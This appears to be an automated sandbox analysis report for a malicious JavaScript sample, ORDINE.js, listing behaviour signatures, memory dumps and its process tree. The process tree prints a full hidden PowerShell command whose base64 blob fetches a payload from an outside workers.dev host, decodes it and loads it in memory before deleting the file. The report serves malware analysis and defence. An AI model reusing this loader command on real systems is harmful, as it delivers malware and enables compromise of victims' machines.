Analysis
- max time kernel
149s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
25/09/2026, 09:00
General
- Target ORDINE.js
- Size 440KB
- Sample260925-kye6jscf65
- SHA256 01ee6f4f03ece55b9bc5a66e90a16e8e16fef17f441fde3c828521a11883ea32
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ORDINE.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnNlVOUGllcmNlID0gWEtIaHR0cHM6Ly9ybycrJ3VnaC10cnV0aC1lMDcyLnB1YmxpY2Z0cHJlc2VuZCcrJy53b3JrZXJzLmRldi96dHByZWVjY2xYS0g7IDYnKydVTmRpcG9yaWRpdW0gPSBYS0hDOkVWSlVzZXJzRScrJ1ZKUHVibGljRVZKRG93bmxvYWRzRVZKcGF5bG8nKydhZC50eHRYS0g7IDZVTm5hbm9jdXJpZSA9IFthY3RpdmF0b3JdOjpjcmVhdGVJbnN0YW5jZShbbmUnKyd0LndlYmNsaWVudF0pOyA2VU5uYW5vY3VyaWUuSGVhZGVycy5BZGQoWEtIVXNlci1BZ2VudFhLSCwgWEtITW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7ICcrJ3g2NCkgQXBwbGVXZWJLaXQvJysnNTM3LjM2ICgnKydLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2WEtIKTsgNlVObmFub2N1cmllLkRvd25sb2FkRmlsZSg2VU5QaWVyY2UsIDZVTmRpcG9yaWRpdW0pOyA2VU53JysnaGFyZnNpZGUgPSAoR2V0LUNvJysnbnRlbnQgNlVOZGlwb3JpZGl1bSAtUmF3KTsgNlVOcHJhZXRvcnNoaXBzID0gNlVOd2gnKydhcmZzaWRlLlJlcGxhY2UnKycoSicrJzU5Kko1OSxKNTlBSjU5KTsgNlVOQ2hvc2VuID0gW2NoYXJbXV0oKDZVTnByYWV0b3JzaGlwcy5Ub0NoYXJBcnJheSgpKVsoNlVOcHJhZXRvcnNoaXBzLicrJ0xlbmd0aC0xKS4uMF0pOyA2VU5xdWFkcmF0b2p1ZycrJ2FscyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdCcrJ3JpbmcoLWpvaW4gNlVOQ2hvc2VuKTsgW0FwcEQnKydvbWFpbl06OkN1cnJlbnREb21haW4uTG9hZCg2VU5xdWFkcmF0b2p1Z2FscykgVWFrIE91dC1OdWxsOyBbV2luMzIuUk1QLmFhYWFhJysnYScrJ2FdOjphYWFhYWFhYWFhYShKNTlkaTdVbW9WUjJKdElzemwycHdWcXNVd0hyJysnMVZ3eS9Gd2InKyc5UXd1RUhXQWZpSDFIV2x4WUJTN0M3N2VldEIwOHJiQScrJ296L2NORHFMMTBTYldRYUg0ZmhBQT09SjU5LCcrJ0o1OUo1OSxKNTlyRWQ2TkhYUE9lVDRrTkFhb3FCeVM1Skd5ZlJIbmg5bTRLeFFMbVB2UlI0RXJnQUt6ZVhPUUdGTjMwYThya0R1SjU5LEo1OWRLY1gnKyd3VCcrJ2l4a0t5dmUnKydQMFh0MVJlVzZzU0EnKydnak94QTN2UFBNWFlDUWtSR009SjU5LEo1OXRkMnYnKydxSm5Bb2djcXdLb3VDUmdjMDBxVEsnKydrd3lKT29JZ1pLJysnSWdEdTkyTG89SjU5LEo1OWRNOE9NWlBENUpHQ0RndFZvMXFpeFMyY2tsRGxFNzJDb0hFR0xkdTQ5R3c9SjU5LEo1OTN0WWZrY0xFUDUnKyd0bytQczJkMUJEblNCdEpydGsxM21KWktPNy9naDBUeGc9SjUnKyc5LEo1OUo1OSxKNTlxdHpjenNxdUllSicrJy9LY0lHJysnb0lyT054b2dxZW1PWHUnKyc4aHByd1RqZ2tlSlBZPUo1OSxKNTl3YVFlaVBhcUQ5TnF0SFJ2Z1E5M1dzUUx5TjRJd0tWYStySWh4TzE5Sis4JysnNGdpQkUvVUVSclVsNnhzUStiRjY3SjU5LEo1OTRLdEhPJysnL2lSWjl1SlYxb3kvMTRpRndlJysnUTlwQWsnKydrRU1jMUJxemZJMk9vbTg9SjU5LEo1OUo1OSxKNTlvK0tDeUFhaUpTaU4rRytBMkQ3ZjhUN0hwa1lsNi9YdlljdXR2WlpVSlowPUo1OSxKNTlKNTksSjU5d3ZFSUFQRkR0dnFPY2VBSnhOJysnNCs0cXduNkRZTW50dlFFdk81eFgxZUVVWT1KNTksSjU5c2cvV00vWG9EQWN3ZisnKyc0UWt5dmpVRWVkdkVxcHREUTltbE5mdm5JWWw3cz1KNTksSjU5SjU5LEo1OUo1OSxKNTlKNTkpJysnOyBSZW1vdmUtSXRlbSAtUGEnKyd0aCAnKyc2VU5kaXBvcmlkaXVtIC1Gb3JjZSAtRXJyb3InKydBY3RpbycrJ24gU2lsZW50bHlDb250aW51ZScpICAtUmVwTGFDZShbY0hBUl01NCtbY0hBUl04NStbY0hBUl03OCksW2NIQVJdMzYgIC1SZXBMYUNlICAnRVZKJyxbY0hBUl05MiAgLVJlcExhQ2UoW2NIQVJdODgrW2NIQVJdNzUrW2NIQVJdNzIpLFtjSEFSXTM0ICAtY1JFcExBQ0UgJ1VhaycsW2NIQVJdMTI0ICAtUmVwTGFDZShbY0hBUl03NCtbY0hBUl01MytbY0hBUl01NyksW2NIQVJdMzkpfC4gKCAkRW5WOkNvbXNQRUNbNCwyNiwyNV0tSm9JbicnKQ==')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1384-0-0x00007FFFBD2EF000-0x00007FFFBD2F0000-memory.dmp
memory/1384-2-0x000002474EB50000-0x000002474EB72000-memory.dmp
memory/1384-1-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-5-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-6-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-7-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-8-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-9-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-10-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-11-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-12-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-13-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-14-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-16-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-17-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp
memory/1384-18-0x00007FFFBD160000-0x00007FFFBDB04000-memory.dmp